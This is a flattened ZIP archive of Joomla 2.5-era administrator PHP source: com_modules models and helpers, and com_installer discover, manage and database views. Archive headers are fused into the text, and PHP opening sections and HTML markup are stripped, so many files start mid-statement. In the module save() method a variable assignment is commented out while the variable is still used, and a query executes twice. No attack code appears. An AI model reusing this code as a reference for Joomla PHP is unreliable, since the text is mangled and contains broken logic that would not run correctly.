* @since 1.6 */ protected function prepareTable(&$table) { $date = JFactory::getDate(); $user = JFactory::getUser(); $table->title = htmlspecialchars_decode($table->title, ENT_QUOTES); $table->position = trim($table->position); if (empty($table->id)) { // Set the values //$table->created = $date->toSql(); } else { // Set the values //$table->modified = $date->toSql(); //$table->modified_by = $user->get('id'); } } /** * Method to preprocess the form * * @param JForm $form A form object. * @param mixed $data The data expected for the form. * @param string $group The name of the plugin group to import (defaults to "content"). * * @return void * * @since 1.6 * @throws Exception if there is an error loading the form. */ protected function preprocessForm(JForm $form, $data, $group = 'content') { jimport('joomla.filesystem.file'); jimport('joomla.filesystem.folder'); // Initialise variables. $lang = JFactory::getLanguage(); $clientId = $this->getState('item.client_id'); $module = $this->getState('item.module'); $client = JApplicationHelper::getClientInfo($clientId); $formFile = JPath::clean($client->path.'/modules/'.$module.'/'.$module.'.xml'); // Load the core and/or local language file(s). $lang->load($module, $client->path, null, false, true) || $lang->load($module, $client->path . '/modules/' . $module, null, false, true); if (file_exists($formFile)) { // Get the module form. if (!$form->loadFile($formFile, false, '//config')) { throw new Exception(JText::_('JERROR_LOADFILE_FAILED')); } // Attempt to load the xml file. if (!$xml = simplexml_load_file($formFile)) { throw new Exception(JText::_('JERROR_LOADFILE_FAILED')); } // Get the help data from the XML file if present. $help = $xml->xpath('/extension/help'); if (!empty($help)) { $helpKey = trim((string) $help[0]['key']); $helpURL = trim((string) $help[0]['url']); $this->helpKey = $helpKey ? $helpKey : $this->helpKey; $this->helpURL = $helpURL ? $helpURL : $this->helpURL; } } // Trigger the default form events. parent::preprocessForm($form, $data, $group); } /** * Loads ContentHelper for filters before validating data. * * @param object $form The form to validate against. * @param array $data The data to validate. * * @return mixed Array of filtered data if valid, false otherwise. * * @since 1.1 */ function validate($form, $data, $group = null) { require_once JPATH_ADMINISTRATOR.'/components/com_content/helpers/content.php'; return parent::validate($form, $data, $group); } /** * Method to save the form data. * * @param array $data The form data. * * @return boolean True on success. * * @since 1.6 */ public function save($data) { // Initialise variables; $dispatcher = JDispatcher::getInstance(); $table = $this->getTable(); $pk = (!empty($data['id'])) ? $data['id'] : (int) $this->getState('module.id'); $isNew = true; // Include the content modules for the onSave events. JPluginHelper::importPlugin('extension'); // Load the row if saving an existing record. if ($pk > 0) { $table->load($pk); $isNew = false; } // Alter the title and published state for Save as Copy if (JRequest::getVar('task') == 'save2copy') { $orig_data = JRequest::getVar('jform', array(), 'post', 'array'); $orig_table = clone($this->getTable()); $orig_table->load((int) $orig_data['id']); if ($data['title'] == $orig_table->title) { $data['title'] .= ' '.JText::_('JGLOBAL_COPY'); $data['published'] = 0; } } // Bind the data. if (!$table->bind($data)) { $this->setError($table->getError()); return false; } // Prepare the row for saving $this->prepareTable($table); // Check the data. if (!$table->check()) { $this->setError($table->getError()); return false; } // Trigger the onExtensionBeforeSave event. $result = $dispatcher->trigger('onExtensionBeforeSave', array('com_modules.module', &$table, $isNew)); if (in_array(false, $result, true)) { $this->setError($table->getError()); return false; } // Store the data. if (!$table->store()) { $this->setError($table->getError()); return false; } // // Process the menu link mappings. // $assignment = isset($data['assignment']) ? $data['assignment'] : 0; // Delete old module to menu item associations // $db->setQuery( // 'DELETE FROM #__modules_menu'. // ' WHERE moduleid = '.(int) $table->id // ); $db = $this->getDbo(); $query = $db->getQuery(true); $query->delete(); $query->from('#__modules_menu'); $query->where('moduleid = '.(int)$table->id); $db->setQuery((string)$query); $db->query(); if (!$db->query()) { $this->setError($db->getErrorMsg()); return false; } // If the assignment is numeric, then something is selected (otherwise it's none). if (is_numeric($assignment)) { // Variable is numeric, but could be a string. $assignment = (int) $assignment; // Logic check: if no module excluded then convert to display on all. if ($assignment == -1 && empty($data['assigned'])) { $assignment = 0; } // Check needed to stop a module being assigned to `All` // and other menu items resulting in a module being displayed twice. if ($assignment === 0) { // assign new module to `all` menu item associations // $this->_db->setQuery( // 'INSERT INTO #__modules_menu'. // ' SET moduleid = '.(int) $table->id.', menuid = 0' // ); $query->clear(); $query->insert('#__modules_menu'); $query->columns(array($db->quoteName('moduleid'), $db->quoteName('menuid'))); $query->values((int)$table->id . ', 0'); $db->setQuery((string)$query); if (!$db->query()) { $this->setError($db->getErrorMsg()); return false; } } elseif (!empty($data['assigned'])) { // Get the sign of the number. $sign = $assignment < 0 ? -1 : +1; // Preprocess the assigned array. $tuples = array(); foreach ($data['assigned'] as &$pk) { $tuples[] = '('.(int) $table->id.','.(int) $pk * $sign.')'; } $this->_db->setQuery( 'INSERT INTO #__modules_menu (moduleid, menuid) VALUES '. implode(',', $tuples) ); if (!$db->query()) { $this->setError($db->getErrorMsg()); return false; } } } // Trigger the onExtensionAfterSave event. $dispatcher->trigger('onExtensionAfterSave', array('com_modules.module', &$table, $isNew)); // Compute the extension id of this module in case the controller wants it. $query = $db->getQuery(true); $query->select('extension_id'); $query->from('#__extensions AS e'); $query->leftJoin('#__modules AS m ON e.element = m.module'); $query->where('m.id = '.(int) $table->id); $db->setQuery($query); $extensionId = $db->loadResult(); if ($error = $db->getErrorMsg()) { JError::raiseWarning(500, $error); return; } $this->setState('module.extension_id', $extensionId); $this->setState('module.id', $table->id); // Clear modules cache $this->cleanCache(); // Clean module cache parent::cleanCache($table->module, $table->client_id); return true; } /** * A protected method to get a set of ordering conditions. * * @param object $table A record object. * * @return array An array of conditions to add to add to ordering queries. * * @since 1.6 */ protected function getReorderConditions($table) { $condition = array(); $condition[] = 'client_id = '.(int) $table->client_id; $condition[] = 'position = '. $this->_db->Quote($table->position); return $condition; } /** * Custom clean cache method for different clients * * @return void * * @since 1.6 */ protected function cleanCache($group = null, $client_id = 0) { parent::cleanCache('com_modules', $this->getClient()); } } PKs>\%G$$com_modules/models/modules.phpnuW+AgetUserStateFromRequest($this->context.'.filter.search', 'filter_search'); $this->setState('filter.search', $search); $accessId = $this->getUserStateFromRequest($this->context.'.filter.access', 'filter_access', null, 'int'); $this->setState('filter.access', $accessId); $state = $this->getUserStateFromRequest($this->context.'.filter.state', 'filter_state', '', 'string'); $this->setState('filter.state', $state); $position = $this->getUserStateFromRequest($this->context.'.filter.position', 'filter_position', '', 'string'); $this->setState('filter.position', $position); $module = $this->getUserStateFromRequest($this->context.'.filter.module', 'filter_module', '', 'string'); $this->setState('filter.module', $module); $clientId = $this->getUserStateFromRequest($this->context.'.filter.client_id', 'filter_client_id', 0, 'int', false); $previousId = $app->getUserState($this->context.'.filter.client_id_previous', null); if($previousId != $clientId || $previousId === null){ $this->getUserStateFromRequest($this->context.'.filter.client_id_previous', 'filter_client_id_previous', 0, 'int', true); $app->setUserState($this->context.'.filter.client_id_previous', $clientId); } $this->setState('filter.client_id', $clientId); $language = $this->getUserStateFromRequest($this->context.'.filter.language', 'filter_language', ''); $this->setState('filter.language', $language); // Load the parameters. $params = JComponentHelper::getParams('com_modules'); $this->setState('params', $params); // List state information. parent::populateState('position', 'asc'); } /** * Method to get a store id based on model configuration state. * * This is necessary because the model is used by the component and * different modules that might need different sets of data or different * ordering requirements. * * @param string A prefix for the store id. * * @return string A store id. */ protected function getStoreId($id = '') { // Compile the store id. $id .= ':'.$this->getState('filter.search'); $id .= ':'.$this->getState('filter.access'); $id .= ':'.$this->getState('filter.state'); $id .= ':'.$this->getState('filter.position'); $id .= ':'.$this->getState('filter.module'); $id .= ':'.$this->getState('filter.client_id'); $id .= ':'.$this->getState('filter.language'); return parent::getStoreId($id); } /** * Returns an object list * * @param string The query * @param int Offset * @param int The number of records * @return array */ protected function _getList($query, $limitstart=0, $limit=0) { $ordering = $this->getState('list.ordering', 'ordering'); if (in_array($ordering, array('pages', 'name'))) { $this->_db->setQuery($query); $result = $this->_db->loadObjectList(); $this->translate($result); $lang = JFactory::getLanguage(); JArrayHelper::sortObjects($result, $ordering, $this->getState('list.direction') == 'desc' ? -1 : 1, true, $lang->getLocale()); $total = count($result); $this->cache[$this->getStoreId('getTotal')] = $total; if ($total < $limitstart) { $limitstart = 0; $this->setState('list.start', 0); } return array_slice($result, $limitstart, $limit ? $limit : null); } else { if ($ordering == 'ordering') { $query->order('a.position ASC'); $ordering = 'a.ordering'; } if ($ordering == 'language_title') { $ordering = 'l.title'; } $query->order($this->_db->quoteName($ordering) . ' ' . $this->getState('list.direction')); if ($ordering == 'position') { $query->order('a.ordering ASC'); } $result = parent::_getList($query, $limitstart, $limit); $this->translate($result); return $result; } } /** * Translate a list of objects * * @param array The array of objects * @return array The array of translated objects */ protected function translate(&$items) { $lang = JFactory::getLanguage(); $client = $this->getState('filter.client_id') ? 'administrator' : 'site'; foreach($items as $item) { $extension = $item->module; $source = constant('JPATH_' . strtoupper($client)) . "/modules/$extension"; $lang->load("$extension.sys", constant('JPATH_' . strtoupper($client)), null, false, true) || $lang->load("$extension.sys", $source, null, false, true); $item->name = JText::_($item->name); if (is_null($item->pages)) { $item->pages = JText::_('JNONE'); } elseif ($item->pages < 0) { $item->pages = JText::_('COM_MODULES_ASSIGNED_VARIES_EXCEPT'); } elseif ($item->pages > 0) { $item->pages = JText::_('COM_MODULES_ASSIGNED_VARIES_ONLY'); } else { $item->pages = JText::_('JALL'); } } } /** * Build an SQL query to load the list data. * * @return JDatabaseQuery */ protected function getListQuery() { // Create a new query object. $db = $this->getDbo(); $query = $db->getQuery(true); // Select the required fields from the table. $query->select( $this->getState( 'list.select', 'a.id, a.title, a.note, a.position, a.module, a.language,' . 'a.checked_out, a.checked_out_time, a.published+2*(e.enabled-1) as published, a.access, a.ordering, a.publish_up, a.publish_down' ) ); $query->from($db->quoteName('#__modules').' AS a'); // Join over the language $query->select('l.title AS language_title'); $query->join('LEFT', $db->quoteName('#__languages').' AS l ON l.lang_code = a.language'); // Join over the users for the checked out user. $query->select('uc.name AS editor'); $query->join('LEFT', '#__users AS uc ON uc.id=a.checked_out'); // Join over the asset groups. $query->select('ag.title AS access_level'); $query->join('LEFT', '#__viewlevels AS ag ON ag.id = a.access'); // Join over the module menus $query->select('MIN(mm.menuid) AS pages'); $query->join('LEFT', '#__modules_menu AS mm ON mm.moduleid = a.id'); // Join over the extensions $query->select('e.name AS name'); $query->join('LEFT', '#__extensions AS e ON e.element = a.module'); $query->group('a.id, a.title, a.note, a.position, a.module, a.language,a.checked_out,'. 'a.checked_out_time, a.published, a.access, a.ordering,l.title, uc.name, ag.title, e.name,'. 'l.lang_code, uc.id, ag.id, mm.moduleid, e.element, a.publish_up, a.publish_down,e.enabled'); // Filter by access level. if ($access = $this->getState('filter.access')) { $query->where('a.access = '.(int) $access); } // Filter by published state $state = $this->getState('filter.state'); if (is_numeric($state)) { $query->where('a.published = '.(int) $state); } elseif ($state === '') { $query->where('(a.published IN (0, 1))'); } // Filter by position $position = $this->getState('filter.position'); if ($position && $position != 'none') { $query->where('a.position = '.$db->Quote($position)); } elseif ($position == 'none') { $query->where('a.position = '.$db->Quote('')); } // Filter by module $module = $this->getState('filter.module'); if ($module) { $query->where('a.module = '.$db->Quote($module)); } // Filter by client. $clientId = $this->getState('filter.client_id'); if (is_numeric($clientId)) { $query->where('a.client_id = ' . (int) $clientId . ' AND e.client_id ='. (int) $clientId); } // Filter by search in title $search = $this->getState('filter.search'); if (!empty($search)) { if (stripos($search, 'id:') === 0) { $query->where('a.id = '.(int) substr($search, 3)); } else { $search = $db->Quote('%'.$db->escape($search, true).'%'); $query->where('('.'a.title LIKE '.$search.' OR a.note LIKE '.$search.')'); } } // Filter on the language. if ($language = $this->getState('filter.language')) { $query->where('a.language = ' . $db->quote($language)); } //echo nl2br(str_replace('#__','jos_',$query)); return $query; } } PKs>\] com_modules/models/positions.phpnuW+AgetUserStateFromRequest($this->context.'.filter.search', 'filter_search'); $this->setState('filter.search', $search); $state = $this->getUserStateFromRequest($this->context.'.filter.state', 'filter_state', '', 'string'); $this->setState('filter.state', $state); $clientId = JRequest::getInt('client_id', 0); $this->setState('filter.client_id', $clientId); $template = $this->getUserStateFromRequest($this->context.'.filter.template', 'filter_template', '', 'string'); $this->setState('filter.template', $template); $type = $this->getUserStateFromRequest($this->context.'.filter.type', 'filter_type', '', 'string'); $this->setState('filter.type', $type); // Load the parameters. $params = JComponentHelper::getParams('com_modules'); $this->setState('params', $params); // List state information. parent::populateState('value', 'asc'); } /** * Method to get an array of data items. * * @return mixed An array of data items on success, false on failure. * @since 1.6 */ public function getItems() { if (!isset($this->items)) { $lang = JFactory::getLanguage(); $search = $this->getState('filter.search'); $state = $this->getState('filter.state'); $clientId = $this->getState('filter.client_id'); $filter_template = $this->getState('filter.template'); $type = $this->getState('filter.type'); $ordering = $this->getState('list.ordering'); $direction = $this->getState('list.direction'); $limitstart = $this->getState('list.start'); $limit = $this->getState('list.limit'); $client = JApplicationHelper::getClientInfo($clientId); if ($type!='template') { // Get the database object and a new query object. $query = $this->_db->getQuery(true); $query->select('DISTINCT(position) as value'); $query->from('#__modules'); $query->where($this->_db->quoteName('client_id').' = '.(int) $clientId); if ($search) { $query->where('position LIKE '.$this->_db->Quote('%'.$this->_db->escape($search, true).'%')); } $this->_db->setQuery($query); $positions = $this->_db->loadObjectList('value'); // Check for a database error. if ($error = $this->_db->getErrorMsg()) { $this->setError($error); return false; } foreach ($positions as $value=>$position) { $positions[$value] = array(); } } else { $positions=array(); } // Load the positions from the installed templates. foreach (ModulesHelper::getTemplates($clientId) as $template) { $path = JPath::clean($client->path.'/templates/'.$template->element.'/templateDetails.xml'); if (file_exists($path)) { $xml = simplexml_load_file($path); if (isset($xml->positions[0])) { $lang->load('tpl_'.$template->element.'.sys', $client->path, null, false, true) || $lang->load('tpl_'.$template->element.'.sys', $client->path.'/templates/'.$template->element, null, false, true); foreach ($xml->positions[0] as $position) { $value = (string)$position['value']; $label = (string)$position; if (!$value) { $value = $label; $label = preg_replace('/[^a-zA-Z0-9_\-]/', '_', 'TPL_'.$template->element.'_POSITION_'.$value); $altlabel = preg_replace('/[^a-zA-Z0-9_\-]/', '_', 'COM_MODULES_POSITION_'.$value); if (!$lang->hasKey($label) && $lang->hasKey($altlabel)) { $label = $altlabel; } } if ($type=='user' || ($state!='' && $state!=$template->enabled)) { unset($positions[$value]); } elseif (preg_match(chr(1).$search.chr(1).'i', $value) && ($filter_template=='' || $filter_template==$template->element)) { if (!isset($positions[$value])) { $positions[$value] = array(); } $positions[$value][$template->name]=$label; } } } } } $this->total = count($positions); if ($limitstart >= $this->total) { $limitstart = $limitstart < $limit ? 0 : $limitstart - $limit; $this->setState('list.start', $limitstart); } if ($ordering == 'value') { if ($direction == 'asc') { ksort($positions); } else { krsort($positions); } } else { if ($direction == 'asc') { asort($positions); } else { arsort($positions); } } $this->items = array_slice($positions, $limitstart, $limit ? $limit : null); } return $this->items; } /** * Method to get the total number of items. * * @return int The total number of items. * @since 1.6 */ public function getTotal() { if (!isset($this->total)) { $this->getItems(); } return $this->total; } } PKs>\Vcom_modules/helpers/index.htmlnuW+A PKs>\)com_modules/helpers/.htaccessnuW+A Order allow,deny Deny from all PKs>\V#com_modules/helpers/html/index.htmlnuW+A PKs>\)"com_modules/helpers/html/.htaccessnuW+A Order allow,deny Deny from all PKs>\F$com_modules/helpers/html/modules.phpnuW+Aelement, $template->name); } return $options; } /** */ static public function types() { $options = array(); $options[] = JHtml::_('select.option', 'user', 'COM_MODULES_OPTION_POSITION_USER_DEFINED'); $options[] = JHtml::_('select.option', 'template', 'COM_MODULES_OPTION_POSITION_TEMPLATE_DEFINED'); return $options; } /** */ static public function templateStates() { $options = array(); $options[] = JHtml::_('select.option', '1', 'JENABLED'); $options[] = JHtml::_('select.option', '0', 'JDISABLED'); return $options; } /** * Returns a published state on a grid * * @param integer $value The state value. * @param integer $i The row index * @param boolean $enabled An optional setting for access control on the action. * @param string $checkbox An optional prefix for checkboxes. * * @return string The Html code * * @see JHtmlJGrid::state * * @since 1.7.1 */ public static function state($value, $i, $enabled = true, $checkbox = 'cb') { $states = array( 1 => array( 'unpublish', 'COM_MODULES_EXTENSION_PUBLISHED_ENABLED', 'COM_MODULES_HTML_UNPUBLISH_ENABLED', 'COM_MODULES_EXTENSION_PUBLISHED_ENABLED', true, 'publish', 'publish' ), 0 => array( 'publish', 'COM_MODULES_EXTENSION_UNPUBLISHED_ENABLED', 'COM_MODULES_HTML_PUBLISH_ENABLED', 'COM_MODULES_EXTENSION_UNPUBLISHED_ENABLED', true, 'unpublish', 'unpublish' ), -1 => array( 'unpublish', 'COM_MODULES_EXTENSION_PUBLISHED_DISABLED', 'COM_MODULES_HTML_UNPUBLISH_DISABLED', 'COM_MODULES_EXTENSION_PUBLISHED_DISABLED', true, 'warning', 'warning' ), -2 => array( 'publish', 'COM_MODULES_EXTENSION_UNPUBLISHED_DISABLED', 'COM_MODULES_HTML_PUBLISH_DISABLED', 'COM_MODULES_EXTENSION_UNPUBLISHED_DISABLED', true, 'unpublish', 'unpublish' ), ); return JHtml::_('jgrid.state', $states, $value, $i, 'modules.', $enabled, true, $checkbox); } /** * Display a batch widget for the module position selector. * * @param integer $clientId The client ID * * @return string The necessary HTML for the widget. * * @since 2.5 */ public static function positions($clientId) { // Create the copy/move options. $options = array( JHtml::_('select.option', 'c', JText::_('JLIB_HTML_BATCH_COPY')), JHtml::_('select.option', 'm', JText::_('JLIB_HTML_BATCH_MOVE')) ); // Create the batch selector to change select the category by which to move or copy. $lines = array( '', '
', '', JHtml::_('select.radiolist', $options, 'batch[move_copy]', '', 'value', 'text', 'm'), '
' ); return implode("\n", $lines); } /** * Method to get the field options. * * @param integer $clientId The client ID * * @return array The field option objects. * * @since 2.5 */ public static function positionList($clientId = 0) { $db = JFactory::getDbo(); $query = $db->getQuery(true); $query->select('DISTINCT(position) as value'); $query->select('position as text'); $query->from($db->quoteName('#__modules')); $query->where($db->quoteName('client_id') . ' = ' . (int) $clientId); $query->order('position'); // Get the options. $db->setQuery($query); $options = $db->loadObjectList(); // Check for a database error. if ($db->getErrorNum()) { JError::raiseWarning(500, $db->getErrorMsg()); } // Pop the first item off the array if it's blank if (strlen($options[0]->text) < 1) { array_shift($options); } return $options; } } PKs>\__com_modules/helpers/xml.phpnuW+A $row) { if ($row->module == '') { $rows[$i]->name = 'custom'; $rows[$i]->module = 'custom'; $rows[$i]->descrip = 'Custom created module, using Module Manager New function'; } else { $data = JInstaller::parseXMLInstallFile($row->path . '/' . $row->file); if ($data['type'] == 'module') { $rows[$i]->name = $data['name']; $rows[$i]->descrip = $data['description']; } } } } } PKs>\;scom_modules/helpers/modules.phpnuW+Aset($action->name, $user->authorise($action->name, 'com_modules')); } return $result; } /** * Get a list of filter options for the state of a module. * * @return array An array of JHtmlOption elements. */ public static function getStateOptions() { // Build the filter options. $options = array(); $options[] = JHtml::_('select.option', '1', JText::_('JPUBLISHED')); $options[] = JHtml::_('select.option', '0', JText::_('JUNPUBLISHED')); $options[] = JHtml::_('select.option', '-2', JText::_('JTRASHED')); return $options; } /** * Get a list of filter options for the application clients. * * @return array An array of JHtmlOption elements. */ public static function getClientOptions() { // Build the filter options. $options = array(); $options[] = JHtml::_('select.option', '0', JText::_('JSITE')); $options[] = JHtml::_('select.option', '1', JText::_('JADMINISTRATOR')); return $options; } static function getPositions($clientId) { jimport('joomla.filesystem.folder'); $db = JFactory::getDbo(); $query = $db->getQuery(true); $query->select('DISTINCT(position)'); $query->from('#__modules'); $query->where($db->quoteName('client_id').' = '.(int) $clientId); $query->order('position'); $db->setQuery($query); $positions = $db->loadColumn(); $positions = (is_array($positions)) ? $positions : array(); if ($error = $db->getErrorMsg()) { JError::raiseWarning(500, $error); return; } // Build the list $options = array(); foreach ($positions as $position) { if (!$position) { $options[] = JHtml::_('select.option', 'none', ':: '.JText::_('JNONE').' ::'); } else { $options[] = JHtml::_('select.option', $position, $position); } } return $options; } public static function getTemplates($clientId = 0, $state = '', $template='') { $db = JFactory::getDbo(); // Get the database object and a new query object. $query = $db->getQuery(true); // Build the query. $query->select('element, name, enabled'); $query->from('#__extensions'); $query->where('client_id = '.(int) $clientId); $query->where('type = '.$db->quote('template')); if ($state!='') { $query->where('enabled = '.$db->quote($state)); } if ($template!='') { $query->where('element = '.$db->quote($template)); } // Set the query and load the templates. $db->setQuery($query); $templates = $db->loadObjectList('element'); return $templates; } /** * Get a list of the unique modules installed in the client application. * * @param int The client id. * * @return array */ public static function getModules($clientId) { $db = JFactory::getDbo(); $query = $db->getQuery(true); $query->select('element AS value, name AS text'); $query->from('#__extensions as e'); $query->where('e.client_id = '.(int)$clientId); $query->where('type = '.$db->quote('module')); $query->leftJoin('#__modules as m ON m.module=e.element AND m.client_id=e.client_id'); $query->where('m.module IS NOT NULL'); $query->group('element,name'); $db->setQuery($query); $modules = $db->loadObjectList(); $lang = JFactory::getLanguage(); foreach ($modules as $i=>$module) { $extension = $module->value; $path = $clientId ? JPATH_ADMINISTRATOR : JPATH_SITE; $source = $path . "/modules/$extension"; $lang->load("$extension.sys", $path, null, false, true) || $lang->load("$extension.sys", $source, null, false, true); $modules[$i]->text = JText::_($module->text); } JArrayHelper::sortObjects($modules, 'text', 1, true, $lang->getLocale()); return $modules; } /** * Get a list of the assignment options for modules to menus. * * @param int The client id. * * @return array */ public static function getAssignmentOptions($clientId) { $options = array(); $options[] = JHtml::_('select.option', '0', 'COM_MODULES_OPTION_MENU_ALL'); $options[] = JHtml::_('select.option', '-', 'COM_MODULES_OPTION_MENU_NONE'); if ($clientId == 0) { $options[] = JHtml::_('select.option', '1', 'COM_MODULES_OPTION_MENU_INCLUDE'); $options[] = JHtml::_('select.option', '-1', 'COM_MODULES_OPTION_MENU_EXCLUDE'); } return $options; } } PKs>\)com_installer/.htaccessnuW+A Order allow,deny Deny from all PKs>\)&com_installer/views/discover/.htaccessnuW+A Order allow,deny Deny from all PKs>\V'com_installer/views/discover/index.htmlnuW+A PKs>\pee*com_installer/views/discover/view.html.phpnuW+Astate = $this->get('State'); $this->items = $this->get('Items'); $this->pagination = $this->get('Pagination'); parent::display($tpl); } /** * Add the page title and toolbar. * * @since 1.6 */ protected function addToolbar() { $canDo = InstallerHelper::getActions(); /* * Set toolbar items for the page */ JToolBarHelper::custom('discover.install', 'upload', 'upload', 'JTOOLBAR_INSTALL', true, false); JToolBarHelper::custom('discover.refresh', 'refresh', 'refresh', 'COM_INSTALLER_TOOLBAR_DISCOVER', false, false); JToolBarHelper::custom('discover.purge', 'purge', 'purge', 'JTOOLBAR_PURGE_CACHE', false, false); JToolBarHelper::divider(); parent::addToolbar(); JToolBarHelper::help('JHELP_EXTENSIONS_EXTENSION_MANAGER_DISCOVER'); } } PKs>\H2com_installer/views/discover/tmpl/default_item.phpnuW+A item->index % 2; ?>" item->style; ?>> pagination->getRowOffset($this->item->index); ?> item->cbd; ?> /> item->name; ?> item->type ?> item->element) : ?> X item->img, $this->item->alt, array('title' => $this->item->action)); ?> item->folder != '' ? $this->item->folder : 'N/A'; ?> item->client != '' ? $this->item->client : 'N/A'; ?> item->author != '' ? $this->item->author : ' '; ?> PKs>\-com_installer/views/discover/tmpl/default.phpnuW+Aescape($this->state->get('list.ordering')); $listDirn = $this->escape($this->state->get('list.direction')); ?>
showMessage) : ?> loadTemplate('message'); ?> ftp) : ?> loadTemplate('ftp'); ?> items)) : ?> items as $i => $item): ?>
pagination->getListFooter(); ?>
extension_id); ?> name; ?> type); ?> version != '' ? $item->version : ' '; ?> creationDate != '' ? $item->creationDate : ' '; ?> folder != '' ? $item->folder : JText::_('COM_INSTALLER_TYPE_NONAPPLICABLE'); ?> client; ?> author != '' ? $item->author : ' '; ?> extension_id ?>

PKs>\)+com_installer/views/discover/tmpl/.htaccessnuW+A Order allow,deny Deny from all PKs>\V,com_installer/views/discover/tmpl/index.htmlnuW+A PKs>\Vcom_installer/views/index.htmlnuW+A PKs>\V%com_installer/views/manage/index.htmlnuW+A PKs>\V*com_installer/views/manage/tmpl/index.htmlnuW+A PKs>\))com_installer/views/manage/tmpl/.htaccessnuW+A Order allow,deny Deny from all PKs>\l{{+com_installer/views/manage/tmpl/default.phpnuW+Aescape($this->state->get('list.ordering')); $listDirn = $this->escape($this->state->get('list.direction')); ?>
showMessage) : ?> loadTemplate('message'); ?> ftp) : ?> loadTemplate('ftp'); ?> loadTemplate('filter'); ?> items)) : ?> items as $i => $item): ?>
pagination->getListFooter(); ?>
extension_id); ?> name; ?> client; ?> element) : ?> X status, $i, $item->status < 2, 'cb'); ?> type); ?> version != '' ? $item->version : ' '; ?> system_data) : ?> createCompatibilityInfo($item->system_data)) : ?> creationDate != '' ? $item->creationDate : ' '; ?> author != '' ? $item->author : ' '; ?> folder != '' ? $item->folder : JText::_('COM_INSTALLER_TYPE_NONAPPLICABLE'); ?> extension_id ?>
PKs>\ٚhff2com_installer/views/manage/tmpl/default_filter.phpnuW+A
form->getFieldSet('select') as $field): ?> hidden): ?> label; ?> input; ?>
PKs>\)$com_installer/views/manage/.htaccessnuW+A Order allow,deny Deny from all PKs>\~f= = (com_installer/views/manage/view.html.phpnuW+Astate = $this->get('State'); $this->items = $this->get('Items'); $this->pagination = $this->get('Pagination'); $this->form = $this->get('Form'); // Check for errors. if (count($errors = $this->get('Errors'))) { JError::raiseError(500, implode("\n", $errors)); return false; } //Check if there are no matching items if(!count($this->items)){ JFactory::getApplication()->enqueueMessage( JText::_('COM_INSTALLER_MSG_MANAGE_NOEXTENSION') , 'warning' ); } // Include the component HTML helpers. JHtml::addIncludePath(JPATH_COMPONENT . '/helpers/html'); // Display the view parent::display($tpl); } /** * Add the page title and toolbar. * * @since 1.6 */ protected function addToolbar() { $canDo = InstallerHelper::getActions(); if ($canDo->get('core.edit.state')) { JToolBarHelper::publish('manage.publish', 'JTOOLBAR_ENABLE', true); JToolBarHelper::unpublish('manage.unpublish', 'JTOOLBAR_DISABLE', true); JToolBarHelper::divider(); } JToolBarHelper::custom('manage.refresh', 'refresh', 'refresh', 'JTOOLBAR_REFRESH_CACHE', true); JToolBarHelper::divider(); if ($canDo->get('core.delete')) { JToolBarHelper::deleteList('', 'manage.remove', 'JTOOLBAR_UNINSTALL'); JToolBarHelper::divider(); } parent::addToolbar(); JToolBarHelper::help('JHELP_EXTENSIONS_EXTENSION_MANAGER_MANAGE'); } /** * Creates the content for the tooltip which shows compatibility information * * @var string $system_data System_data information * * @since 2.5.28 * * @return string Content for tooltip */ protected function createCompatibilityInfo($system_data) { $system_data = json_decode($system_data); if (empty($system_data->compatibility)) { return ''; } $compatibility = $system_data->compatibility; $info = JText::sprintf('COM_INSTALLER_COMPATIBILITY_TOOLTIP_INSTALLED', $compatibility->installed->version, implode(', ', $compatibility->installed->value) ) . '
' . JText::sprintf('COM_INSTALLER_COMPATIBILITY_TOOLTIP_AVAILABLE', $compatibility->available->version, implode(', ', $compatibility->available->value) ); return $info; } } PKs>\)com_installer/views/.htaccessnuW+A Order allow,deny Deny from all PKs>\%*com_installer/views/database/view.html.phpnuW+Astate = $this->get('State'); $this->changeSet = $this->get('Items'); $this->errors = $this->changeSet->check(); $this->results = $this->changeSet->getStatus(); $this->schemaVersion = $this->get('SchemaVersion'); $this->updateVersion = $this->get('UpdateVersion'); $this->filterParams =$this->get('DefaultTextFilters'); $this->schemaVersion = ($this->schemaVersion) ? $this->schemaVersion : JText::_('JNONE'); $this->updateVersion = ($this->updateVersion) ? $this->updateVersion : JText::_('JNONE'); $this->pagination = $this->get('Pagination'); $this->errorCount = count($this->errors); $errors = count($this->errors); if ($this->schemaVersion != $this->changeSet->getSchema()) { $this->errorCount++; } if (!$this->filterParams) { $this->errorCount++; } if (version_compare($this->updateVersion, JVERSION) != 0) { $this->errorCount++; } parent::display($tpl); } /** * Add the page title and toolbar. * * @since 1.6 */ protected function addToolbar() { $canDo = InstallerHelper::getActions(); /* * Set toolbar items for the page */ JToolBarHelper::custom('database.fix', 'refresh', 'refresh', 'COM_INSTALLER_TOOLBAR_DATABASE_FIX', false, false); JToolBarHelper::divider(); parent::addToolbar(); JToolBarHelper::help('JHELP_EXTENSIONS_EXTENSION_MANAGER_DATABASE'); } } PKs>\V,com_installer/views/database/tmpl/index.htmlnuW+A PKs>\  -com_installer/views/database/tmpl/default.phpnuW+A
errorCount === 0) : ?>

1)); ?>

1)); ?> errorCount); ?>
    filterParams) : ?>
  • schemaVersion != $this->changeSet->getSchema()) : ?>
  • schemaVersion, $this->changeSet->getSchema()); ?>
  • updateVersion, JVERSION) != 0) : ?>
  • updateVersion, JVERSION); ?>
  • errors as $line => $error) : ?> queryType; $msgs = $error->msgElements; $file = basename($error->file); $msg0 = (isset($msgs[0])) ? $msgs[0] : ' '; $msg1 = (isset($msgs[1])) ? $msgs[1] : ' '; $msg2 = (isset($msgs[2])) ? $msgs[2] : ' '; $message = JText::sprintf($key, $file, $msg0, $msg1, $msg2); ?>
  • schemaVersion); ?>
  • updateVersion); ?>
  • name); ?>
  • results['ok'])); ?>
  • results['skipped'])); ?>
PKs>\)+com_installer/views/database/tmpl/.htaccessnuW+A Order allow,deny Deny from all PKs>\V'com_installer/views/database/index.htmlnuW+A PKs>\)&com_installer/views/database/.htaccessnuW+A Order allow,deny Deny from all PKs>\JN4com_installer/views/default/tmpl/default_message.phpnuW+Aget('State'); $message1 = $state->get('message'); $message2 = $state->get('extension_message'); ?>
PKs>\V+com_installer/views/default/tmpl/index.htmlnuW+A PKs>\$>0com_installer/views/default/tmpl/default_ftp.phpnuW+A
ftp instanceof Exception): ?>

ftp->getMessage()); ?>

